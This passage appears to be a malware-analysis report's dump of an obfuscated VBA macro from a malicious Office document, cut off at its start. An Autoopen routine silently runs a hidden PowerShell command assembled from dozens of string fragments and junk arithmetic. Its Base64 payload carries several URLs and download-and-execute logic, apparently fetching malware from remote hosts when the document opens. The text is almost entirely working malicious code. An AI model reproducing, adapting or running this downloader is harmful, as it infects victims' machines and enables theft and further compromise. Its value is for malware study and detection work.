HViLoznHlL = JmzONRniPzR + znQzmlIw + fUUGDW + IrSiG + RVIaCHzc + ohlDk + EFXCXbow + ConRhaGfbk + SKSJXIwUWi + JwwBUOipG + BTjGMG + LvXnYORVT
cXhwh = Fix(46829 / CSng(5213) * JwPcMz * ZcKNE)
VhBn = CDate(45057)
End Function
Sub Autoopen()
On Error Resume Next
cQrFq = Fix(99884 / CSng(18807) * TElFuH * cFaHO)
VhBn = CDate(39199)
CKCRZ (HViLoznHlL)
GBPjnR = Fix(11876 / CSng(86777) * iwRvR * ciCRW)
VhBn = CDate(55150)
End Sub
Function CKCRZ(AirCZ)
On Error Resume Next
rGDvH = Fix(1199 / CSng(9373) * zJqdJp * JMsjar)
VhBn = CDate(12817)
MbswORluVR = jUSFTw + Shell(zIPimZsjXG + Chr(vbKeyP) + bziRicn + AirCZ, vbHide)
cLAUd = Fix(85371 / CSng(9427) * zVvKId * JFoahp)
VhBn = CDate(51252)
End Function


Attribute VB_Name = "HRlYpYqCT"
Function JmzONRniPzR()
On Error Resume Next
bsFjBP = Fix(34249 / CSng(20857) * TzvSB * QEPwc)
VhBn = CDate(13470)
ShbZJ = "owersHeLL -WinD" + "owsTyle " + "hidden " + "-e IAAoACgAKA" + "AiAHsANAA4AH0Ae" + "wA4ADk"
uTNmU = Fix(66878 / CSng(18418) * MSUKE * IbcFu)
VhBn = CDate(36763)
NcFVoEfuNY = "AfQB7ADEAMQAz" + "AH0AewAxADA" + "AMgB9A" + "HsAMQA3ADA" + "AfQB7ADYAMg"
bnNGS = Fix(56891 / CSng(88268) * tzUpP * lWPvjB)
VhBn = CDate(19374)
aNfSXIK = "B9AHsAMQA0AD" + "QAfQB7ADUANQB" + "9AHsANwA" + "0AH0Aew" + "A3ADAAf" + "QB7AD" + "EAMwAyAH0Ae" + "wA4ADQAfQB"
fbHww = Fix(14047 / CSng(57455) * qhnHTj * jBFPHT)
VhBn = CDate(39641)
VzYsXt = "7ADIANAB9AHsA" + "OQB9AHsAMQA2" + "ADQAfQB7" + "ADcAMw" + "B9AHsAM" + "AB9AHs"
JmzONRniPzR = ShbZJ + NcFVoEfuNY + aNfSXIK + VzYsXt
End Function
Function znQzmlIw()
On Error Resume Next
VpMXEM = Fix(20165 / CSng(22801) * uUIlw * imcGG)
VhBn = CDate(75710)
Ejndh = "AMwAxAH" + "0AewA" + "xADIANg" + "B9AHsAN" + "wA3AH0Aew" + "AxADI" + "AMQB9AHsAMg"
IiEWj = Fix(87032 / CSng(57383) * CnKcmH * jZajVW)
VhBn = CDate(23603)
GlBiSuRkYQL = "A4AH0Ae" + "wAxADQAMwB9AH" + "sAOAA4AH0AewA" + "xADAANAB9AHsAO" + "QAzAH0AewA" + "xADQAMQ" + "B9AHs" + "AMQA3ADQ" + "AfQB7ADEAMQA"
YNhjad = Fix(59088 / CSng(23809) * MTjiS * dRijsj)
VhBn = CDate(95371)
ZszTocXWZi = "yAH0A" + "ewAxADMANA" + "B9AHsAO" + "AA1AH0" + "AewAx"
LOsCD = Fix(62830 / CSng(50855) * fwfjI * NDIXb)
VhBn = CDate(93690)
ihUqBD = "ADcAfQB7ADEA" + "MAA3A" + "H0AewA4A" + "DEAfQB7ADMA" + "OAB9AHsAOAB9AHs" + "AMwAzAH0AewA" + "xADYANwB9AH"
TaDRq = Fix(93207 / CSng(29180) * pTRaEW * haafn)
VhBn = CDate(88958)
lhjrTX = "sANgA1" + "AH0AewA0" + "ADMAfQB7ADE" + "AMAAxA" + "H0AewAxADcAMwB9" + "AHsAMQAxADA" + "AfQB7ADEANAA" + "5AH0Ae" + "wAxADAAOAB" + "9AHsAMQA0"
kDlZbE = Fix(58809 / CSng(45651) * FAtsn * lNkLip)
VhBn = CDate(54554)
bDTHvd = "AH0AewAxADIA" + "MwB9AHsAMQ" + "A2ADI" + "AfQB7ADEAM" + "QAxAH0AewA5ADYA" + "fQB7ADMAOQB" + "9AHsAMQA2"
FEfuV = Fix(65659 / CSng(94033) * JVfqAf * UKISw)
VhBn = CDate(23599)
YjMTHCjnCD = "ADAAfQB7ADEAN" + "AA2AH0AewAzAH" + "0AewAxADQA" + "MgB9AH" + "sAOAA"
KditpN = Fix(91356 / CSng(53955) * zIpjV * JIpXKr)
VhBn = CDate(45848)
DQLGS = "yAH0AewAyAD" + "YAfQB7ADMANgB" + "9AHsANgAzAH0Aew" + "AxADE" + "AOQB9" + "AHsAMQAyADQ" + "AfQB7ADEANQA1AH"
znFwP = Fix(630 / CSng(41587) * dBfuB * ctjAh)
VhBn = CDate(11600)
AwsUAN = "0AewA1ADQAfQB7" + "ADEAMwA4AH0A" + "ewA0ADEAfQ" + "B7ADUAMg" + "B9AHsAMQA2ADYAf" + "QB7AD" + "MANAB9AHsA" + "NQAzAH" + "0AewAxADMANw"
hLzvYB = Fix(99775 / CSng(54724) * CimRjF * QfbuZi)
VhBn = CDate(78108)
qczLZlBSZi = "B9AHsAMQA1" + "AH0AewA5ADc" + "AfQB7ADE" + "ANgAzA" + "H0AewAx" + "ADQAMAB9AHsA" + "MwA3AH0AewA1A" + "DYAfQB7ADEAMg" + "A4AH0A" + "ewA2ADQAfQB"
znQzmlIw = Ejndh + GlBiSuRkYQL + ZszTocXWZi + ihUqBD + lhjrTX + bDTHvd + YjMTHCjnCD + DQLGS + AwsUAN + qczLZlBSZi
End Function
Function fUUGDW()
On Error Resume Next
ausjw = Fix(77602 / CSng(19558) * RiPcG * rwVvC)
VhBn = CDate(98050)
LbGiYlUwHo = "7ADEANgA5AH0" + "AewA2ADkA" + "fQB7ADUAMQB9AHs" + "ANwAyAH0AewAxA"
HkjXJS = Fix(38879 / CSng(10787) * ICWwV * ITfmrY)
VhBn = CDate(39893)
NwMtiiK = "DIANwB" + "9AHsAN" + "AAwAH0Aew" + "AxADYA" + "OAB9AHsAMQAz" + "ADAAfQB7ADEAM" + "AA2AH0A" + "ewA3ADEAfQB7AD"
RccQod = Fix(46953 / CSng(58510) * pDTKJJ * VpEFWM)
VhBn = CDate(11769)
mdfilR = "EAMwB9AHsAM" + "QA1AD" + "gAfQB7" + "ADUAOAB9AHs" + "AOAAzAH0AewA" + "2ADYAfQ" + "B7ADEA" + "NAA4A" + "H0AewAxADA"
fOpCP = Fix(30030 / CSng(13600) * mzSuh * jcnda)
VhBn = CDate(63314)
bzfArcAAjU = "AfQB7ADEA" + "NAA1AH0Aew" + "AxADEAOAB9AH" + "sANAA3A" + "H0AewAx" + "ADYAMQ" + "B9AHs" + "AMQA1ADYAfQB7"
BTzKsR = Fix(3784 / CSng(38214) * REWTk * nWOMif)
VhBn = CDate(61702)
PEGIrcUY = "ADIANwB9AHsAMQ" + "A2ADUAfQB7ADYAf" + "QB7ADQA" + "NQB9AHsANwA2AH0" + "AewA1AH0Ae" + "wAxADAAMAB9AHsA"
qOFSJ = Fix(53907 / CSng(35532) * mZOdvq * WwFEYj)
VhBn = CDate(27260)
UUFsGjh = "MQAxADQAfQ" + "B7ADIAMwB9AHsAM" + "gB9AHsANgAxAH0" + "AewAxADU" + "ANwB9AH" + "sAMQAyAH0A" + "ewA0ADQAfQB7AD" + "EANQA0AH0AewA0"
NSGpR = Fix(28810 / CSng(25442) * OVGIvn * srwYRz)
VhBn = CDate(10553)
pSiwVQdidTa = "ADIAfQB7A" + "DEAMwA1AH" + "0AewA2ADcAf" + "QB7AD" + "gAMAB9AH" + "sAMQAxADcAfQB7A" + "DIANQB9AHsAM"
izdsO = Fix(56647 / CSng(51441) * jcqsA * mBdZa)
VhBn = CDate(99563)
aXcaBs = "QAwAD" + "MAfQB7ADIAM" + "QB9AHsANQAw" + "AH0Ae" + "wAxADI" + "AMgB9AHs"
ohzjA = Fix(25140 / CSng(24692) * HwaHMb * nWwUnN)
VhBn = CDate(48975)
MjWWHtznpOh = "ANAB9AHsAMgAyAH" + "0AewA3A" + "DkAfQB7ADEA" + "MwA2AH0AewAxADA" + "ANQB9" + "AHsAMQA0A"
EuwoEv = Fix(91847 / CSng(84269) * FwqPj * OQNjZ)
VhBn = CDate(61484)
KVLqtGis = "DcAfQB7AD" + "kAOAB9AHsAMQA" + "zADkAfQB7ADEA" + "MAA5A" + "H0AewAxADUAOQB9" + "AHsAOA" + "A2AH0A"
fUUGDW = LbGiYlUwHo + NwMtiiK + mdfilR + bzfArcAAjU + PEGIrcUY + UUFsGjh + pSiwVQdidTa + aXcaBs + MjWWHtznpOh + KVLqtGis
End Function
Function IrSiG()
On Error Resume Next
locvN = Fix(12532 / CSng(51670) * LtPBs * BYHjLE)
VhBn = CDate(8060)
wVVRwuVl = "ewAzADAAfQB" + "7ADEAMwAxAH0" + "AewA3ADgAfQB7A" + "DEANQAzAH0AewAx" + "ADYAfQB7ADYAOAB" + "9AHsAOAA3AH" + "0AewA0ADkAf"
NkbHN = Fix(69575 / CSng(8701) * hAzoJK * JhpQQ)
VhBn = CDate(88283)
DfoozSEpB = "QB7ADYAMAB9" + "AHsAOQ" + "AwAH0Aew" + "AxADIANQB9AH" + "sAMgA5A" + "H0AewAxADIAMAB" + "9AHsA" + "OQA1AH"
aOnTM = Fix(83512 / CSng(11582) * NaLjas * GsqBl)
VhBn = CDate(23202)
TiOfpK = "0AewAxADMAMwB9" + "AHsANAA2A" + "H0AewAzADIA" + "fQB7ADEAOAB9AHs" + "ANwA1AH0" + "AewAxADUAMg" + "B9AHsANQA5A"
BEfrN = Fix(96111 / CSng(97411) * onHIK * TtXNU)
VhBn = CDate(66109)
fIcQCs = "H0AewAxAH0Ae" + "wAxADcA" + "MQB9AHsAO" + "QAxAH0" + "AewAx" + "ADIAOQB9AH" + "sAMQA" + "1ADAAfQB7AD" + "EAMQA2AH0"
IrSiG = wVVRwuVl + DfoozSEpB + TiOfpK + fIcQCs
End Function
Function RVIaCHzc()
On Error Resume Next
YcZjTq = Fix(53246 / CSng(93228) * PIsLMj * UdIArm)
VhBn = CDate(46791)
CmjzNHCnjO = "AewAxADEANQB" + "9AHsANwB9AHsANQ" + "A3AH0A" + "ewAyADAA" + "fQB7ADMANQB9AHs" + "AMQA5A" + "H0AewAxADEAf" + "QB7ADkAMgB9A"
RiFmwT = Fix(77518 / CSng(34060) * cccFIu * WZNYz)
VhBn = CDate(31244)
zXXWMXzZjX = "HsAMQA1AD" + "EAfQB7ADkAO" + "QB9AHsAMQA3AD" + "IAfQB7ADkANAB9" + "ACIAIAAtAGYAIAA" + "nADsAdwBzAEoAWQ" + "BZAFUAIAA9AC" + "AALgAn"
AkFCjL = Fix(64465 / CSng(90034) * DwRllo * HaqOik)
VhBn = CDate(13616)
LMilbL = "ACwAJwBzA" + "CcALAAn" + "AEAAMQBSAGEAKQA" + "nACwAJwA" + "NAAoAaAAnA" + "CwAJw" + "BhAC4AJwAsACc" + "ASwA3AC8AJ"
MjAdRZ = Fix(99746 / CSng(52772) * jECsQ * FwiqY)
VhBn = CDate(13825)
bzLOIAFn = "wAsAC" + "cALwAnACwAJwAgA" + "CcALAAnAG4A" + "dAAnACwAJw" + "AxAFIAYQApACA" + "AJwAsACcAa" + "AB0AH"
RVIaCHzc = CmjzNHCnjO + zXXWMXzZjX + LMilbL + bzLOIAFn
End Function
Function ohlDk()
On Error Resume Next
JVicGz = Fix(18037 / CSng(2617) * QcXpA * DdMEX)
VhBn = CDate(30401)
lOVOz = "QAcAA6AC8A" + "LwAnACwAJw" + "AxAFIAYQBJACcA" + "LAAnACAAJwAsACc"
jlEqV = Fix(70651 / CSng(36006) * tiaVZ * vpSCSA)
VhBn = CDate(37402)
pIwnUwlVwYK = "ALQAnACw" + "AJwAzACcALAA" + "nAFUALwAnACw" + "AJwBKA" + "EEARAAnACwAJ" + "wAuAE4AZQB0AC" + "4AJwAsACcATwBh" + "AGQARgBJAE"
ZVaEus = Fix(9581 / CSng(57299) * jbHpw * QbYiP)
VhBn = CDate(43329)
UtUrlYIcCfj = "0AYwBGACcALAA" + "nACgAJwAsACcAR" + "AAnACwAJwBTA" + "EIAIAArACcALA" + "AnAGUAeA" + "AxACcALAAnAG" + "EAJwA" + "sACcAUgBhAHQ" + "AJwAsACc" + "AYQAgA"
wUafHn = Fix(88979 / CSng(3530) * PisLj * RqavP)
VhBn = CDate(28162)
HMzhKMKwoP = "CsAIAB3" + "AHMAJwAsACcAYw" + "BvAGUAJwAsAC" + "cAbQAv"
uRqzRC = Fix(51218 / CSng(87356) * DRfYG * OkRjSi)
VhBn = CDate(22351)
hnEvu = "AGYAbABhAHMA" + "JwAsACcA" + "MQBSA" + "GEAJwAsACcA" + "WQAnAC" + "wAJwAgACcALAAnA"
zknAK = Fix(66432 / CSng(16254) * GfFZJ * IVsbLz)
VhBn = CDate(58505)
ctHtfnNFSEP = "CgAMQAnACwAJwB" + "NAGMARgAnA" + "CwAJwA7" + "AHcAcwBKA" + "E4AUw" + "AnACwAJwBsAGwAa" + "QBnAGkAcg" + "BsAC4AYwB" + "vAG0AJwAsACc"
jLIobp = Fix(58041 / CSng(62449) * MirsPi * QKJjL)
VhBn = CDate(672)
jYdmCm = "AQwAp" + "ADsAJgA" + "nACwAJwBsAG" + "UAYQAnACwAJ" + "wByACcALAA"
ohlDk = lOVOz + pIwnUwlVwYK + UtUrlYIcCfj + HMzhKMKwoP + hnEvu + ctHtfnNFSEP + jYdmCm
End Function
Function EFXCXbow()
On Error Resume Next
jTYcv = Fix(83319 / CSng(82960) * NvWEc * VHSqaj)
VhBn = CDate(87888)
ufTrn = "nAGwAaQBlACcALA" + "AnACAAJwAsA" + "CcAcAA6AC" + "cALAAn" + "AE8AZwA" + "nACwAJwBKAGUAJ" + "wAsACcAdwBzA" + "EoAbgBzAGEAZAB" + "hAHMAZAAuACcA"
RwtrrK = Fix(1717 / CSng(78196) * OftcUC * ipFtV)
VhBn = CDate(92911)
qWKFaDSEfRH = "LAAnAD0AJ" + "wAsACcA" + "VgAnACwAJwBXAG4" + "AbAAnACw" + "AJwBuA" + "CcALA" + "AnAHcAJwA" + "sACcAe"
KBJuD = Fix(81428 / CSng(86917) * RYpCci * AjSZA)
VhBn = CDate(15801)
XnkqHLZH = "QAnACw" + "AJwAgACcALAA" + "nAC8AJwAsACcAL" + "wBAAGgAdAB0" + "ACcALAAn" + "AC8AVgBLADkA" + "JwAsACcA" + "bAA1ACcALAAnA" + "GEAKwAxA"
jPBEF = Fix(13921 / CSng(70988) * AVVaiq * QzwBdO)
VhBn = CDate(40064)
GCjQh = "FIAJwAsA" + "CcAcwAnACwA" + "JwB3AHMASgBTACc" + "ALAAnAG" + "cAJwAsACcAZgBjA" + "C4AVQBnACcAL" + "AAnAHsAJ" + "wAsACc"
SaffoY = Fix(52338 / CSng(92360) * NmStsw * lAnYUj)
VhBn = CDate(2331)
qjiuScTJ = "AOwB3A" + "CcALA" + "AnADEAUgBhAGUAJ" + "wAsACcAdAAnACw" + "AJwBjAGg" + "AZQByAHU" + "AJwAsAC" + "cAIAA" + "nACwAJwAvACc"
NSQUaw = Fix(59356 / CSng(19109) * djiab * FZZZNw)
VhBn = CDate(45532)
hZAWHfH = "ALAAnAHUAJwAsA" + "CcAQwB" + "YACkA" + "ewB0ACcALAAn" + "AGQAZQA" + "nACwAJwB" + "iACcALAA" + "nAGkAbgAnACwAJw"
XwNPcb = Fix(93770 / CSng(34852) * ZfSWIG * zicEP)
VhBn = CDate(16991)
XjmwET = "BPAFo" + "AVgBsAFAALwBAAG" + "gAJwAsACcAYQB" + "uAGQAbwBtACcALA" + "AnAGEAdwAtAG" + "8AJwAsACcAbABlA" + "CcALA" + "AnAEQAOQB" + "hAFEAJwAsACcAU" + "gAnACwAJwA"
KKEhw = Fix(89147 / CSng(13701) * DpdsWN * BiRLwF)
VhBn = CDate(90515)
zcALLqosRO = "gACcAL" + "AAnAFIAYQAnACw" + "AJwBiAGwAaQ" + "BjACAAKwA"
EFXCXbow = ufTrn + qWKFaDSEfRH + XnkqHLZH + GCjQh + qjiuScTJ + hZAWHfH + XjmwET + zcALLqosRO
End Function
Function ConRhaGfbk()
On Error Resume Next
ZzSEc = Fix(57777 / CSng(39012) * ZOdCF * tzXik)
VhBn = CDate(54007)
SzvwOJ = "nACwAJwBlAG" + "IAQwAnACwAJw" + "AvAC8A" + "agAnACwAJwAuAGQ" + "AZQAv" + "AGsAegBGA" + "HcAZwAn" + "ACwAJwBjADEAUg" + "BhACsAMQ"
tPjHOj = Fix(88059 / CSng(74868) * KPPBf * jpfKiW)
VhBn = CDate(6717)
VphOpjSmpjk = "AnACwAJwBlA" + "G0AJwAsACcA" + "YwAnACwAJwB" + "yACcALAAnADEA" + "UgAnACw" + "AJwBzAEoAbgB"
sKddoT = Fix(76624 / CSng(38953) * Sffhi * NzajVE)
VhBn = CDate(28377)
VPdNVHDXjQz = "zAGEAZABhAHM" + "AJwAsA" + "CcAdwAn" + "ACwAJwBvACcA" + "LAAnAG4A"
EtIRhz = Fix(51537 / CSng(86904) * qkrwl * ETPqu)
VhBn = CDate(93529)
uDEUbsSczMR = "dgBvADEAUgAnACw" + "AJwAxACcALAA" + "nAEMAKQA7AG" + "IAcgBlA" + "GEAawA7AH0" + "AYwBhA" + "HQAYwBoAHsAfQB" + "9ACcALAAn" + "AFUALgBVA" + "GcAcwBEAG8ATQ"
zDztR = Fix(25229 / CSng(16156) * hadXYk * BFVtZY)
VhBn = CDate(79776)
kIzCjBajkvz = "AnACwA" + "JwA9AC" + "cALAAn" + "AEAAaAB0A" + "HQAcABzACc" + "ALAAnAGY" + "AJwAsACcAa" + "wAxAFIA" + "YQArADEA" + "UgBhAGUALQBJAH"
rzbtVM = Fix(11627 / CSng(27240) * qitFU * hNkRIK)
VhBn = CDate(25882)
FQQwnZsmiPk = "QAZQBtADEAUg" + "BhACkA" + "KAB3AHMAJwA" + "sACcAM" + "QBSAGEALg" + "BTAHA"
MTYRJ = Fix(40332 / CSng(2571) * wKGFt * TmcbLJ)
VhBn = CDate(64417)
PQvWzEmbRvI = "AbABpA" + "HQAJwAsACcAbgB" + "lAHgAJwAsACc" + "AIAA9AC" + "cALAAnAE" + "oATgAnACwAJwBh" + "ACsAJwA" + "sACcAYQA" + "pACcALAAnA"
ConRhaGfbk = SzvwOJ + VphOpjSmpjk + VPdNVHDXjQz + uDEUbsSczMR + kIzCjBajkvz + FQQwnZsmiPk + PQvWzEmbRvI
End Function
Function SKSJXIwUWi()
On Error Resume Next
qajRnf = Fix(78855 / CSng(13828) * liaOaw * wtSTlj)
VhBn = CDate(98926)
GwijRtYiU = "HQAZQAnACwAJwB" + "XACcAL" + "AAnADgAMgAxACcA" + "LAAnAHMASg" + "BhACcALAAnADAA" + "MAAwADAALAA"
vquzo = Fix(63561 / CSng(97818) * rWcwk * hVhpdU)
VhBn = CDate(52187)
VoLizVnw = "gACcALAAnAEQA" + "QwBYACAAJw" + "AsACcAZQAn" + "ACwAJwBkA" + "CcALAAnAC" + "gAMQBSACcA"
ctqhf = Fix(36112 / CSng(83374) * EHaRV * lrSzna)
VhBn = CDate(67572)
VrbrJWj = "LAAnACwA" + "JwAsACcAcwAo" + "ACkAJwAsA" + "CcAIAA" + "xAFIAYQBNAG8ANg"
zzKDMz = Fix(72474 / CSng(92193) * focOA * HBjMd)
VhBn = CDate(34828)
Nwnwhd = "AxAFIAJwAsACcAZ" + "wByAGEAJwAsAC" + "cAaAAnACwAJ" + "wBZACcALAAnAG" + "EAKwAn" + "ACwAJwAoA"
XTXjj = Fix(82289 / CSng(44765) * hAjkvs * cGucI)
VhBn = CDate(2077)
qwJwnKIsj = "DEAUgAnACwAJwA" + "zACkAOwAn" + "ACwAJ" + "wBlAH" + "IAJwAsACcAcwB" + "KACcAL"
dsjkjL = Fix(96614 / CSng(13361) * FZcar * cNuYcz)
VhBn = CDate(76648)
cYfJsqB = "AAnAFIAYQ" + "BuAGUAMQ" + "AnACwAJwB0AHQA" + "JwAsACcAaQAnA" + "CwAJwBTAHQAcgBN" + "AGMARgBpACc" + "ALAAnA"
dFPkZZ = Fix(34418 / CSng(2533) * UcqiA * HMfald)
VhBn = CDate(21335)
AYQHqXhRrY = "C8AcwAnACwA" + "JwBpAG4AJwAs" + "ACcAagBlA" + "CcALAAnA" + "GMARgAnACwAJwB"
Sfvdh = Fix(64220 / CSng(69173) * wpzFi * aYhwE)
VhBn = CDate(30943)
VMvohAdztt = "jAHQAMQBSAG" + "EAKQA" + "gAFMAeQBzAHQ" + "AJwAsACcAbgB2AD" + "oAcAAnACwAJ" + "wArADEAUgBhAG" + "UAMQBS"
zBCcO = Fix(75740 / CSng(24099) * XBPSnz * dvkTZ)
VhBn = CDate(91999)
InpnNEXD = "ACcALAAn" + "AHcAJ" + "wAsACcAaQ" + "AnACwAJwBvAHIAZ" + "QBhAGMAaAA" + "oAHcAJwAsACc" + "ALwB2AGUAJwA" + "sACcAUgBhAC0A" + "bwBiACcALAAnA" + "HQAdAB"
AiuUnl = Fix(12300 / CSng(86542) * ZvJUit * SuXab)
VhBn = CDate(75757)
fTlKRiJlE = "wADoA" + "JwAsACcAdwAnAC" + "wAJwAxAFIA" + "JwAsA" + "CcAdgBhAC" + "cALAA" + "nAFIAY" + "QAnACwAJwA7" + "ACcALAAnAEAA" + "JwAsACcAM"
SKSJXIwUWi = GwijRtYiU + VoLizVnw + VrbrJWj + Nwnwhd + qwJwnKIsj + cYfJsqB + AYQHqXhRrY + VMvohAdztt + InpnNEXD + fTlKRiJlE
End Function
Function JwwBUOipG()
On Error Resume Next
nrWVvl = Fix(22580 / CSng(69807) * MTAXhu * briMpX)
VhBn = CDate(57577)
OucEKZz = "gAnACw" + "AJwBNAG" + "MARgBOAGcAV" + "QBnACcA" + "LAAnAGEAKw" + "AxAFIAYQA"
aktSZC = Fix(41076 / CSng(5599) * tHcRP * HdpEw)
VhBn = CDate(920)
PINPTfKk = "nACwAJwBVAGc" + "AcwAoAH" + "cAcwB" + "KAGEAcwAnACwA" + "JwB3AHMAJwAsAC" + "cAIAB3AHMAJwAs" + "ACcALgB" + "jAG8AbQAuAGEAdQ" + "AvAG4AJwA"
VTYuwj = Fix(94086 / CSng(51412) * PNtuKs * KorQnd)
VhBn = CDate(51688)
wqsltqpNrFL = "sACcA" + "YwBhA" + "GYAZQAuAG" + "MAbwAnACw" + "AJwBzA"
iLfXj = Fix(200 / CSng(36516) * czOatf * mFmzr)
VhBn = CDate(29350)
PpiwLEsm = "EoAUwBEA" + "EMAJwAsACcAcAB" + "sAGEAbgB1" + "AG4AJwAsA" + "CcAcwBmACcA"
VAOjf = Fix(30593 / CSng(9656) * qrsHLl * Zruzj)
VhBn = CDate(33037)
GwOJvuKpXPD = "LAAnADEAJwA" + "sACcAdAAnACwAJ" + "wB3AHMASgBBACc" + "ALAAnAD" + "oALwAnACwAJwByA" + "CcALAAnAGgA"
wRAiiF = Fix(21178 / CSng(1147) * jCKpfI * VDcsGW)
VhBn = CDate(64142)
jKafWEz = "JwAsACcAc" + "AA6AC8ALwBsAG8" + "AJwAsACcA" + "QgAgAD0AJwAsACc" + "ALwAnA" + "CwAJwBuAGc" + "AcwB2AG" + "UAcgBtAGkA"
TUjjuE = Fix(88580 / CSng(67524) * XDzjA * zYpMJF)
VhBn = CDate(2430)
pjlwb = "dAB0A" + "GwAdQBuAGcALgAn" + "ACwAJwAgAC" + "YAKAAxAFIAYQ" + "BuADE"
XRsZtD = Fix(46615 / CSng(82224) * kOLOW * FapSER)
VhBn = CDate(53357)
MsnraDw = "AUgBhAC" + "sAJwAsA" + "CcAVAAnACwA" + "JwBKAFMARA"
JwwBUOipG = OucEKZz + PINPTfKk + wqsltqpNrFL + PpiwLEsm + GwOJvuKpXPD + jKafWEz + pjlwb + MsnraDw
End Function
Function BTjGMG()
On Error Resume Next
PUWcU = Fix(32399 / CSng(19092) * jSYLO * iAfih)
VhBn = CDate(57723)
SHwcuvGKUPI = "AnACwAJwB0AC" + "gAMQAnAC" + "wAJwB" + "qACcAKQApACA" + "ALQBSA" + "GUAcABsAGEA" + "QwBlA" + "CAAIAAoA"
VoSdt = Fix(69754 / CSng(73403) * mzdvG * EXbDZP)
VhBn = CDate(23508)
DhWadsjX = "FsAYwBoAGEAUg" + "BdADgAN" + "QArAFsAYwBo" + "AGEAUgBdADEAMA" + "AzACsAWwBjA"
sqKQDw = Fix(80023 / CSng(76237) * kzwuf * zajXF)
VhBn = CDate(88297)
fdlrj = "GgAYQBSAF0AMQA" + "xADUAKQAsAFsAYw" + "BoAGEA" + "UgBdAD" + "MANAAgAC0A" + "UgBlA" + "HAAbABhAEMAZQA" + "nAE0AYwBGACcALA"
uPHZZ = Fix(54390 / CSng(7920) * HOAnvc * dhqdw)
VhBn = CDate(51939)
hhEXkwrk = "BbAGMAaA" + "BhAFIAXQA5A" + "DYAIAAgAC0AQw" + "ByAGUAUABsAEEAQ" + "wBFACAAK" + "ABbAGM"
wHiZUb = Fix(55613 / CSng(87187) * HoXvvI * WNjrdj)
VhBn = CDate(97010)
CpFJCijlE = "AaABhAFIAXQA0A" + "DkAKwB" + "bAGMAaABh" + "AFIAXQ" + "A4ADIAKwB" + "bAGMAaABhAFIAXQ"
BTjGMG = SHwcuvGKUPI + DhWadsjX + fdlrj + hhEXkwrk + CpFJCijlE
End Function
Function LvXnYORVT()
On Error Resume Next
jbjzz = Fix(64643 / CSng(52791) * uBRArA * cBNVt)
VhBn = CDate(97890)
jpzKmblHTn = "A5ADcAKQA" + "sAFsAY" + "wBoAGEAUgBdADMA" + "OQAgAC0AUgBlAH" + "AAbABhAEMAZQAg" + "ACAAJwB" + "3AHMASg" + "AnACwAWw" + "BjAGgAYQBSAF" + "0AMwA2AC"
jXUET = Fix(31374 / CSng(29501) * POJaps * fuKftd)
VhBn = CDate(88460)
ZUiMzj = "0AQwByA" + "GUAUABsAEEAQ" + "wBFACAAIAAo" + "AFsAYwBoAG"
IlVFHp = Fix(30388 / CSng(26321) * ILvJc * NLfKmD)
VhBn = CDate(81987)
mhkLjZO = "EAUgBd" + "ADcANwArAF" + "sAYwBoAGEA" + "UgBdADEAMQAxAC" + "sAWwBjAGgAYQ" + "BSAF0AN" + "QA0ACkALABbAG" + "MAaABhAFIA" + "XQA5ADIAK" + "QAgAHwAJgAoA"
LPhWT = Fix(21928 / CSng(25817) * umuMS * LItzAE)
VhBn = CDate(34657)
wBYUDUwKTc = "CAAJABQA" + "HMASABvAE0AZQ" + "BbADQAXQArACQ" + "AUABTAGgAb" + "wBtAGUA" + "WwAzAD" + "QAXQArACc" + "AeAAn" + "ACkA"
LvXnYORVT = jpzKmblHTn + ZUiMzj + mhkLjZO + wBYUDUwKTc
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.